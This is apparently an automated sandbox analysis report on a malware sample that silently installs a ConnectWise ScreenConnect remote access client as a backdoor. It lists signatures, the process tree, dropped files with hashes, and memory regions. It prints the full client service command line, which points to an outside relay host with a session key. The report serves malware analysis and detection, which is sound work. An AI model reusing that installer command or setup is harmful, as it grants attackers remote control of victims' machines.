Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    26/04/2026, 16:03

General

  • Target
    2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
  • Size 11.2MB
  • Sample260426-thnbnaav4x
  • SHA256 dbd2b894a497689b47024a544c3120f441a6594629b0dbcf2136671bf5dd4ee9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 15 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3952
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.9.5.9483\f019ead39d18b18b\ScreenConnect.ClientSetup.msi"
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:912
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4916
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C440EB6C5E78E3987ECDCA7AD951F77C C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240678906 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3472
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:236
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 87AC93EABAA0183B922B36C9E45F2DD8
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2152
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C5E3BB1AEB37464A8294BDE651A6DF0C E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:576
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1248
    • C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=help.overthewire.com.au&p=8041&s=ad755eca-f838-489a-a884-70ee142060bc&k=BgIAAACkAABSU0ExAAgAABEAAADHIkW%2b3HkPDSP8U77odETO2Oa6bry95zbwMkerRF0eoHnNKAHT78QsJ6B%2f%2bZOVRdNRgQC8gdviJB8iW05rbTmlpwsLrK0H7JTi4N06Q%2bplY1t8EQl2h5J%2bMfufP1lbQqdDbMiPPE4T2%2bvG8b8sNhs4C3VvoCE98u6otcwd75fFoqbrbve62s5RH%2fIKMon8mLiGGGAFiFB%2bu9kaGWjGNwT%2bzyF%2fZIcT2W6Y97Tk8Dv4OxH%2bft4BZRxwWC7aFkO80aDkr5Sw2B3pPgEI7pLLwBbthQ2faO%2f2DvGYw1a5MePu4r1LEs%2bl24Lj5MNhS0o6EXzdIMN8pM00PBIW87tYXT%2bY&c=Test&c=Head%20Office&c=Managed%20Services&c=Clients&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5068
      • C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe" "RunRole" "955b9773-98ca-42a3-82e8-7d36b53b7754" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2408

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e58b0be.rbs

          • Path C:\Config.Msi\e58b0be.rbs
          • Size 213KB
          • SHA256 a2460a84ba01e5cfbbbb1c89ba16a7729fd66d14930385b089ee4402de5b17b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.Override.en-US.resources
          • Size 512B
          • SHA256 dc676d7ca90452302e19ac1122a6f98c4feb19acdfb5c8f5d6fdbbab6f43bbfa
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.en-US.resources
          • Size 64KB
          • SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.resources
          • Size 6KB
          • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Client.dll
          • Size 399KB
          • SHA256 c24f3f38cbad5591ca72bd3688b3bcc67b311143e3418905752a88887c649c12
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.dll
          • Size 78KB
          • SHA256 881377643cc610e41a458b2797ac8ca4f018d3f39a1effd40b521ebb52c5e7af
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 ecd5ed16975d556d1d17bc980f248f8a5262bed11df9d9cf999efd9c273c11df
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Core.dll
          • Size 553KB
          • SHA256 5989cf8b316fa8526b48e53e3835c61eb5cc5d2b0291994991ddfc937198d5b0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 cea1d85967d2c456fccecae3a70ff2adfe4c113aacf9d18c35906c2ed24ca9b4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe
          • Size 604KB
          • SHA256 7cd74f5e0fb8b9cdf3275a03ac29f25c88a2adea7afa1a1a0e719a54be9d9e2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\system.config
          • Size 957B
          • SHA256 8fc14ec3b4a64d54689654b1064e0f54f104cc922734077b727549a4ce656fa1
          • MD5 SHA1 SHA512 TLSH

          698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB
          • Size 471B
          • SHA256 daae5cd62ac8d9e32baed178e39df1e0827d9a45e31276f65f6b75f122e24b65
          • MD5 SHA1 SHA512 TLSH

          8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0
          • Size 727B
          • SHA256 1fe4a4168e8c2c610789633ec7aa43cc58293909d10992dc7f2552e1333cf714
          • MD5 SHA1 SHA512 TLSH

          C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
          • Size 727B
          • SHA256 189f9064ba35be184d1b643aca3371a2bb4e8fd952a2c040d7fa58746ffcb8d1
          • MD5 SHA1 SHA512 TLSH

          698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB
          • Size 400B
          • SHA256 43c7ab20dd5753974d883390d5d065a5dafde8ac0ef693718c4229dddbe72273
          • MD5 SHA1 SHA512 TLSH

          8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0
          • Size 404B
          • SHA256 0a7496046107c9fcf190f6dc4d4d0d47d748d848fc700230908566aebb89a7c5
          • MD5 SHA1 SHA512 TLSH

          C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
          • Size 412B
          • SHA256 d154a2e837301d4aa4bed1cda7537fb76754a5aaf5bca16efc956319ca315882
          • MD5 SHA1 SHA512 TLSH

          MSI778C.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp
          • Size 1.1MB
          • SHA256 ba2f090929bcaea8ff9c1eed327cf0918fa06c88d64b77c7db8d2db3f92d39ec
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp-\ScreenConnect.Core.dll
          • Size 543KB
          • SHA256 637c730a28969b12f906109ab2d6670cdf230901eb9060f51c103d7ce37e3766
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 182633507629b0b1fecd2304c0b2f0fbfef79144e0a4f4f60da10150145ffe42
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 368a99cda6a46e9907d4a1136edcebcc7c4b08905766ea8828839e20d1f12202
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.9.5.9483\f019ead39d18b18b\ScreenConnect.ClientSetup.msi
          • Size 8.8MB
          • SHA256 1e691cec0691e4e30583375cb2c9b93ae7e13183f2ce72c0408ce36fa5af7bd6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIB1D7.tmp

          • Path C:\Windows\Installer\MSIB1D7.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          dznnsche.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\dznnsche.newcfg
          • Size 573B
          • SHA256 bae17d2462020f2bf5c0663da8c84a5a0002a5e1e2991a9255c9948829346083
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
          • Size 573B
          • SHA256 c3d158b2d338a724b9040f28945537df925f61b2d559ca344910c98e23b36cf7
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
          • Size 573B
          • SHA256 290012439909bc60e3a3a5ca7184ad9075562e8b096d9e00fefed7dfe119b070
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
          • Size 573B
          • SHA256 a6a3e9aec0b196812608c0b1bfb8349d002138333c89b0c1da416e4f6a6c0270
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
          • Size 573B
          • SHA256 8c6f34685b0fdc8a6e23fe4f9001e41a6fa16b34230fe52b182edcc518de6616
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 4228ccbe6d23a8ceb241166041899d7d727b15ec785325c9140e43abe21ce2fe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {3e794c4f-fa8b-4a3e-87ea-ff0b0bf47ca5}_OnDiskSnapshotProp

          • Path \??\Volume{a6d9cdad-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{3e794c4f-fa8b-4a3e-87ea-ff0b0bf47ca5}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 3aa179d619ccb3744d2a2b428d083ba383672ef09033cf418059b3f6f7f467ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/912-143-0x0000000005BD0000-0x0000000005C34000-memory.dmp

          memory/912-64-0x0000000004E80000-0x0000000004F7E000-memory.dmp

          memory/912-142-0x0000000004E80000-0x0000000004F7E000-memory.dmp

          memory/912-65-0x0000000005BD0000-0x0000000005C34000-memory.dmp

          memory/2408-152-0x0000000001910000-0x0000000001928000-memory.dmp

          memory/2408-159-0x000000001C8B0000-0x000000001C9CE000-memory.dmp

          memory/2408-158-0x0000000001760000-0x000000000176C000-memory.dmp

          memory/2408-151-0x00000000017B0000-0x00000000017C8000-memory.dmp

          memory/2408-148-0x000000001C520000-0x000000001C6A8000-memory.dmp

          memory/2408-144-0x0000000000EE0000-0x0000000000F7A000-memory.dmp

          memory/2408-146-0x000000001BC60000-0x000000001BCEE000-memory.dmp

          memory/2408-147-0x000000001C1E0000-0x000000001C38E000-memory.dmp

          memory/2408-145-0x00000000031C0000-0x0000000003228000-memory.dmp

          memory/3472-58-0x00000000059B0000-0x0000000005B5E000-memory.dmp

          memory/3472-50-0x00000000056B0000-0x00000000056BA000-memory.dmp

          memory/3472-46-0x0000000005670000-0x000000000569E000-memory.dmp

          memory/3472-54-0x0000000005770000-0x00000000057FE000-memory.dmp

          memory/3952-11-0x0000000005C50000-0x0000000005C60000-memory.dmp

          memory/3952-8-0x0000000006460000-0x0000000006A06000-memory.dmp

          memory/3952-2-0x0000000005C50000-0x0000000005C60000-memory.dmp

          memory/3952-3-0x0000000005C50000-0x0000000005C60000-memory.dmp

          memory/3952-4-0x0000000005B90000-0x0000000005B98000-memory.dmp

          memory/3952-5-0x0000000005C60000-0x0000000005CEE000-memory.dmp

          memory/3952-6-0x0000000005C30000-0x0000000005C54000-memory.dmp

          memory/3952-0-0x0000000005C50000-0x0000000005C60000-memory.dmp

          memory/3952-7-0x0000000005CF0000-0x0000000005E9E000-memory.dmp

          memory/3952-15-0x0000000001E00000-0x0000000001FAC000-memory.dmp

          memory/3952-12-0x0000000005C50000-0x0000000005C60000-memory.dmp

          memory/3952-1-0x0000000001D70000-0x0000000001D78000-memory.dmp

          memory/3952-10-0x0000000005C50000-0x0000000005C60000-memory.dmp

          memory/3952-9-0x0000000005FB0000-0x0000000006042000-memory.dmp

          memory/4916-153-0x000001C2C3430000-0x000001C2C343C000-memory.dmp

          memory/5068-157-0x0000000003ED0000-0x0000000003FCE000-memory.dmp

          memory/5068-156-0x0000000001690000-0x000000000169B000-memory.dmp

          memory/5068-117-0x0000000003D20000-0x0000000003ECE000-memory.dmp

          memory/5068-113-0x0000000003AE0000-0x0000000003B6E000-memory.dmp

          memory/5068-107-0x00000000016B0000-0x00000000016C8000-memory.dmp

          memory/5068-119-0x0000000003C10000-0x0000000003C60000-memory.dmp

          memory/5068-123-0x0000000003FD0000-0x0000000004038000-memory.dmp